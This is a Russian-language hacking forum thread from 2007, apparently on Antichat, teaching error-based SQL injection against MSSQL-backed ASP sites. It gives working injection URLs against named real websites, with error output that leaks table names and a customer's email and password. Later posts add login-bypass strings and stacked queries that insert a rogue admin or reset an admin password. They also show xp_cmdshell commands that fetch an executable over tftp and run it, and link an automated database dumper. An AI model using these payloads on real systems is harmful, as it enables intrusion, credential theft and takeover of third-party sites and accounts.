Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Проведение Инъекций в MSSQL сервер от Microsoft.

    Проведение инъекций в MSSQL сервере от Microsoft.​


    Вступление.​
    Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.

    Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.

    Вывод ошибок.​

    Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
    Рассмотрим данный урл
    http://www.psdata.no/ps.asp?it=1'

    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    
    Line 1: Incorrect syntax near 'NO'.
    
    /prodDetails.asp, line 1282 
    Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.

    Проверяем на нашиличие иньекции:


    Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

    1 or 1=@@version-- - Версия
    1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
    1 or 1=(select system_user)-- - Имя юзера владельца данной базой.


    Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
    http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
    В ответ получим ошибку:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]fshop[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    где fshop имя Базы Данных текущего юзера.

    Поиск таблиц и колонок.​


    В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
    1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    В нашем случае запрос будет такой.

    http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    В ответ мы получим:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]tblMenuTCL[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

    http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblMenuTCL'))--

    Получаем ошибку:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]tblTCL_TEST1[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

    1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2',........,'table50'))--

    Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

    1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50'))--

    Вывод данных.​


    После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
    меня заинтересовали данные колонки:
    Code:
    CustID
    EmailAddress
    Password
    Приступим к составлению запроса для начала выведем 1 из значений.

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress+from+Customers)--

    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the varchar value '[B]pdelia@ast-ss.com[/B]' to a column of data type int.
    
    /dev/qa_search/full_text.asp, line 23
    
    Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+Customers)--
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]pdelia@ast-ss.com:fzr1000r1[/B]' to a column of data type int.
    
    /dev/qa_search/full_text.asp, line 23 
    Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+Customers+where+CustID=3)--

    Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
    Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.

    Исполнение команд.​


    Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
    Code:
    xp_enumgroups (группы из ОС Windows)
    xp_ntsec_enumdomains (список доменов сети)
    xp_enumdsn (источники данных ODBC)
    xp_loginconfig (инфо о пользователе)
    xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
    xp_msver (версия SQL сервера)
    xp_cmdshell <команда> (исполнение файла через cmd.exe)
    xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
    xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
    xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
    sp_makewebtask (выполнение команды html вида)
    Теперь как же это чудо нам вставить в запрос
    ;exec master..xp_cmdshell 'dir c:\'--
    иногда
    ';exec master..xp_cmdshell 'dir c:\'--

    Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.

    POST Иньекции.​


    Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
    Code:
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or '1'='1
    " or "1"="1
    ') or ('1'='1
    Отсупления.​


    И так несколько моих советов по инжектированию:

    1) Ошибка очень многих использывать в mssql union
    Например тут:
    http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
    хотя тут легче работать с подзапросами
    http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--

    2) не забывайте исользывать прерывание запроса в конце --

    3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
    '+or+1=@@version--
    ')+or+1=@@version--
    "+or+1=@@version--
    и т.д.

    4) Почему использывать именно @@version?
    Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
    http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--

    5)Что следует почитать?
    _http://injection.rulezz.ru/
    _http://www.securitylab.ru/analytics/216211.php
    _http://www.securitylab.ru/analytics/216332.php
    _http://www.securitylab.ru/analytics/216333.php
    _http://www.securitylab.ru/analytics/216344.php
    Так же статьи на forum.antichat.ru

    Статья расчитана на начинающих.
    И справкой для Всех остальных :)
    [ cash ] Hack-Shop.Org.Ru (c)​

     
    #1 guest3297, 3 Jan 2007
    Last edited by a moderator: 2 Oct 2014
    33 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    да ладно. а mysql ошибок не выводит? о_0
     
    6 people like this.
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2_Great_
    В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.

    Обновил все о чем писали.


    Исправил граматические ошибки спасибо Thanat0z
     
    #3 guest3297, 7 Jan 2007
    Last edited: 12 Jan 2007
  4. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    нужна вторая часть..

    и вопрос еще почему при выполнении подзапроса
    (SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)
    пишет ошибку
    Incorrect syntax near the keyword 'top'.

    все до вложеного правильно..
     
    _________________________
    1 person likes this.
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Продолжение статьи:

    Класcификация ошибок в Базах Данных от Microsoft.


    Рассмотрим 3 версии самых популярных ошибок в asp.

    Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
    И так по ключевым словам:

    1)
    Microsoft Jet Database
    2) VbScript
    3) JetDataBase
    4) "Потерянный параметр"

    Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
    1) Не будет вывода.
    2) Запросы передаются на очень низком уровне.
    3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
    База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
    Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
    Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.
    ​

    Теперь рассмотрим
    "Потерянный параметр".
    Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например

    При url
    В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
    Если это так, то мы составим запрос.
    При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
    Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.

    Идеальная ошибка при составлении не корректного запроса к бд будет.


    Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.

    Коды ошибок :
    http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp
    ​


    Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
    Служит продолжением статьи /showthread.php?t=30501



    [ cash ] Hack-Shop.Org.Ru (c)​
    ​
     
    #5 guest3297, 10 Apr 2007
    Last edited: 8 Aug 2007
    2 people like this.
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Реализация скрипта для просмотра и дампинга баз, через mssql-inj.

    Исходников не будет.

    http://pidor.in/mssql.php
     
    2 people like this.
  7. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Не так пробывал значит.
     
  9. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    модификация данных в таблицах

    так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах

    INSERT

    Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
    Рассмотрим на примере:
    Code:
    http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--
    В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;


    UPDATE

    Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
    в строках существующей таблицы.

    Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
    Рассмотрим на примере:
    Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
    делаеться это вот так:
    Code:
    http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--
     
    #9 _Pantera_, 5 Jul 2007
    Last edited: 5 Jul 2007
    2 people like this.
  10. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    всмысле не так пробовал? :)
    просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально :)) воспринимать скрипт?
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    ява фильтрация обходитьсся на уровне посылки пакета.
    Если нету ошибки то с чего ты взял что есть иньекция.
    ' or 1=1--

    Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.
     
  12. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
    дак в том, то и прикол, что нет ошибок и инъекции соответственно тоже, именно поэтому спрашивал может есть ещё какие-либо приёмы, кроме уже описанных :)
    у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.
     
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Просто перехватить пакет исправить данные и отправить дальше.

    Нет универсального способа.
     
  14. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    этож нада знать как перехватывать, исправлять и передавать дальше :)

    А всё таки не подскажешь, может известы ещё пару примеров, что можно втулить в форму авторизации?
     
  15. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Выполнение системных команд через Sql запрос

    Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
    При наличии соответствующих прав, хакер может выполнить произвольную команду.
    Вот пример:
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--
    Выводим список файлов и под-папок из текущей папки

    Также можно залить любой файл на уязвимый сервер
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--
    127.0.0.1 - это сервер на котором лежит наш file.exe
    и выполнить его
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'--
     
    #15 _Pantera_, 9 Jul 2007
    Last edited: 9 Jul 2007
    1 person likes this.
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'

    Че куда ты выведешь???
    Запрос прервать коментариями не надо...

    Короче почитал поржал...
     
  17. dudits

    dudits Banned

    Joined:
    2 Jun 2007
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    почему при выполнении подзапроса
    (SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)
    пишет ошибку
    Incorrect syntax near the keyword 'top'.

    в данном случае сайт

    http://info.l2r.ru/?part=items&id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+COLUMN_NAME+NOT+IN+('column'))--
     
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    UPDATE!
    Уневальсальный дампер для mssql через иньекцию.

    http://slil.ru/24655320
    http://www.rapidshare.ru/350872


    Видео тут.
    Собсвенно продолжение статьи и то о чем все просили.

    http://hack-shop.org.ru/mssql.php
     
    #18 guest3297, 23 Jul 2007
    Last edited: 9 Sep 2007
    1 person likes this.
  19. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    UPDATE!
    Официальный хелп от майкрософт по ADO (Jet Database). На русском.
    http://support.microsoft.com/ph/1596
     
  20. che_ha

    che_ha New Member

    Joined:
    8 Aug 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??